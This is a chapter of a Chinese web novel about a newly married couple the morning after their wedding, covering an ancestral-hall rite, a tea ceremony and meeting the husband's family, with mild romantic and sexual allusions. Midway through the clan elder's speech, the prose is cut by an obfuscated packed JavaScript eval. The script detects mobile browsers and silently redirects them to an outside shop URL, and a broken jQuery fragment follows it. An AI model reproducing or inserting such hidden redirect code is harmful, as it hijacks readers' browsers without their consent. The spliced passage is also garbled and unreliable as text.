第一百四十章新婚
两个没有任何经验的人洞房,咳咳,可想而知,有那么点翻车。
说起来这俩都不是矫情的人儿,再者魏无涯都苦等好几年了,如今肉终于到了嘴边,还能干瞅着不吃?
怎么可能!
不吃个够本都不是男人!
是吧?
虽然过程可能由于缺少经验,稍微有一点点不足,但架不住两个人体力好,兴致高,所以,被翻红浪,几番攻守,结果还是很酣畅淋漓的。
只是年轻人,不知轻重,代价就是第二天差点起不来炕。
“三爷,三爷,该起了!”
下面服侍的人在外面喊了好几声,屋里依然没什么动静。
眼看着时辰不早了,焦急万分的翠珠不得不去找个老成些的婶子想法子。
“嗐,洞房一宿,好比挖个大菜窖。。。。。。”婶子蛮有经验地在窗户下面一站,声音不大,但传得格外清晰,“三爷、三奶奶,该敬茶啦!”
朱令仪听耳畔有人喊敬茶的声音,她迷迷糊糊倒还记得这事儿,立马一个激灵,瞌睡虫都飞走一大半。
她一动,魏无涯也动了动,他也是两眼皮沉得像压着一座山,心里想起,但身体没赶上。
窗外再次喊“三爷”的时候,他才不得不应了一声:“起了!”
朱令仪觉得浑身发软,有些不大想动,含糊道:“什么时辰了?”
魏无涯都快三十了才吃到肉,其实也一样,但是,他分得清轻重。
他道:“快卯时了吧,咱起吧,待会要去祠堂的,回来再补觉啊。”这是昨天他爹再三耳提面命的。
朱令仪只觉得这几日拜过的先祖比以往两个世界都多。
她眯着眼坐起,扶着腰,缓了缓,才在某人吃吃的笑声里穿上里衣,去脚踩棉花地去沐浴更衣。
温热的冲在脸上,她很快清醒了过来。
“嘶~”她瞅瞅胸口的痕迹,又摸摸脖子,心里把某个男人骂了几回,“饿狼一样!”
朱令仪泡在热水里,依然感觉肌肉有些酸软无力,甚至差点睡过去,她不得不招出随身宝。
“宝宝,把凝露拿一瓶出来。”
随身宝:鄙视,用不着就屏蔽咱,用着了就宝宝。
不过,还是赶紧发出一瓶凝露给她。
这是她在云茫山采摘的草药,随身宝特别鼓捣出来的,能快速回复体力和精神。虽然这东西属于治标不治本,只能是短效的作用,但对于他们眼下来说,用用也是可以的。
当时做这个凝露的时候可没想到会是这么用。
真是浪费啊。
她心里暗自鄙视某人非要跟她抢夺主权,结果两人都没讨到好处,这才搞得浑身乏力。
她可不想这样出去见人。
还好凝露效果显著,等两个人拾掇好出来,已经都是容光焕发的模样了。
***
这边魏无涯和朱令仪进了正房,“爹,娘,大哥。”
朱令仪跟着他喊人,魏大人点点头,笑着道:“人都到了,这就走吧。咱们先去祠堂,回来在喝媳妇茶。老二先去祠堂那边照应着了。”
这是解释了一下,为何没见到魏二哥。
原来是给他们打前站去了。
这数九寒冬的,肯定比他俩起得还早,也辛苦了。
朱令仪把别人的好都一点一滴记在心里,嘴上也知道说一句:“辛苦爹娘和大哥、二哥了。”
“一家人,不说这个。他们成亲的时候,老三也跟着受累的。”
此时有一队仆人打着火把过来了,在火把的光照下,朱令仪见外头停了三辆马车,显然是为他们准备的。
“驾!”
在还寂静黑暗的清晨,马车碌碌的声音显得格外清晰。
***
魏无涯把一个暖手的手炉塞到媳妇手里,“从这过去大约要将近三刻钟,你困了可以靠着我眯一会。”
“不用,现在很清醒了。”
朱令仪抱着手炉靠在马车壁上,小声问道:“嫂子们不用去,是吗?”
魏无涯斟酌着道:“只有过年的时候,族里的宗妇和担着差事儿的女人、媳妇才能进到宗祠来。像咱们成亲第一次要祭祖并且把你写进族谱,这时候也是要来的,其他时候轮不到咱们旁支。”
其实何止是旁支,就是嫡支的女人也没几次机会来宗祠的。
魏无涯只是不想让她多想,对一个独自长大的人来说,这些太复杂了,以后有得是机会慢慢了解。
“家里人都很好相处,没有一般世家大户那么多事儿。爹娘随和,有什么想知道的直接问就行;
大哥和二哥单名分别是鲲鹏之一,大哥在西城门当差,是校尉,大嫂娘家姓李,脾气好,为人宽和,很有长嫂之风,对下面的弟弟妹妹都不错。
他们现在有四个孩子,最大的承哥儿十三岁了,桐姐十岁,檀姐六岁,诚哥儿四岁,给咱们滚床就有他一个。”
说到小孩子们,魏无涯的脸似乎也更加柔和了两分。
“二哥比较喜欢文墨,在吏部做郎中,二嫂娘家姓王,她爱说还笑,容易得罪人,但没几个心眼,不必认真。
二哥家的启哥儿十一岁,敬哥儿八岁,恬姐儿六岁,还有个最小的婉姐儿刚会走路。”
朱令仪点点头,好奇道:“另一个滚床的是哪家的?”
魏无涯笑道:“是大伯家的纹姐儿,才四岁,这是她打败了好几个小丫头才胜出的,可骄傲了。”
“哦?比的什么?”朱令仪也好奇了。
魏无涯翘起嘴角,“背吉祥话。”
就是滚床时说的那句‘大吉大利’。
背几个字容易,主要是紧张,很多孩子一紧张就忘词了,或者自己都不知道冒出一句什么话,这才是比较难的。
朱令仪想象一下当时的情形,也笑道:“赶明儿单独谢谢这俩孩子。”
***
魏家是本地老户,宗祠也是在族人聚居所在的一处二进院子,牌楼高企,飞檐翘角,六柱五洞的格局,算不上多豪华,却也十分庄重。
最上面刻着“魏家宗祠”的字样。
此时火把把院子照得通亮,下面来的人不少却都鸦雀无声的。
族长见人都到齐了,开了祠堂的大门,请出祖先牌位,然后引导新婚的夫妻俩给先祖上香,族长摇头晃脑念了一纸祭文后,捧出一本厚厚的册子,翻到某页,提笔在魏冥边上写上“妻朱氏令仪”字样。
难得她算是有社会地位的人,还写了名字,不然,女性基本只有个姓,某某氏而已。
族长又按例训诫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996668|130700||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了几句,诸如好好过日子,互相敬爱,孝顺长辈,慈爱小辈等等。
仪式很郑重,过程并不复杂,基本也不需要她做什么,只是行礼,上香,然后她们又饿着肚子回到家里。
两人趁着回去换衣裳的空挡,赶紧吃了块点心喝点热茶垫垫肚子。
等又换了身衣服,赶去正院里还得敬茶认亲呢。
***
在遍地勋贵的京城,魏家属实算不上大户人家,家里男人也没有纳妾的传统,因而人口简单,家风也朴实。
魏家从老宅那边算已经分家了,现在杨柳巷只是他们这一房。
今天是新媳妇认亲的日子,不光老宅那边的人过来,魏无涯出嫁的两个姐姐今日也带着丈夫孩子一起回了娘家。
乌泱泱也是一屋子人,但主位上是魏大人老两口,下面是魏大哥和魏二哥带着媳妇孩子。
魏祖父他们也谢绝了坐主位,在客位上分坐了。
小两口先给魏大人老两口敬茶,改口后,朱令仪收到一对成色极好的翠玉手镯,并回了两套衣裳鞋袜;平辈就没茶喝了,只跟着魏无涯分别叫人,魏大哥夫妻给的是一对金簪,魏二哥夫妻的见面礼是一盒上好的墨条,并一副文房四宝。
魏二哥道:“我听说你在家也有书房需要办公事,这副文墨应该能用上。”
整个认亲过程还挺顺利的,没有想象中的极品亲人登场。
想来也是,这种算是大场面了,只要能来参加的,不论大人孩子,心里都有点数,或者被人再三叮嘱过,真搞出奇葩的事来,没脸的不一定是主家,反而搞事儿的可能会断了这门亲戚了。
***
这么多亲戚过来,他们小两口也没捞着机会补觉,只跟个陀螺似得忙着这里那里的被安排转来转去,跟着叫人。
用魏无涯的话说,就这,才是祖父这支的三代直系亲戚,祖父兄弟那些还有五服里的亲戚还没认呢。那些就不特地安排了,只等往后得闲了,婆婆和妯娌有机会会带着她串门子啥的,顺便认识的。
晚上,躺在炕上,朱令仪忽然“哎呀”懊恼地叫一声。
魏无涯刚要躺下来,忙支起身子问:“怎么了?”
朱令仪摆手,“没事儿,就是才想起来,今日好像什么事儿也没干成,光叫人了,结果好像根本没记住几个。”
魏无涯拍拍枕头,笑,“这才哪儿到哪儿啊,也没事儿,你一下子记不住正常,他们记你可容易,放心,下次见面他们会提醒你自己是谁的。新媳妇都有这个过程。”
朱令仪侧过脸看他,“你还挺有经验的啊?”
魏无涯:“大嫂可能还好点,我记得二嫂成亲都三四年了,还经常认错人呢。”
***
两人本来说好,今晚好好睡觉的。
毕竟今日起了个大早,又跟着一群人转了一天,都没机会休息,在年轻也吃不消啊。
只是说的挺好,真钻被窝里了,那就另一回事儿了。
朱令仪第一次对“男人的话要是能信,猪都能上树”这句话有了确切的认知。
她忍无可忍,抬腿,恨声道:“给我老实些,信不信我把你踹下去。”
魏无涯吃吃低笑着,握住送上来的细白脚腕儿,亲一口,扯了锦被往上一遮,被子里就只剩下“唔唔”的含糊声了。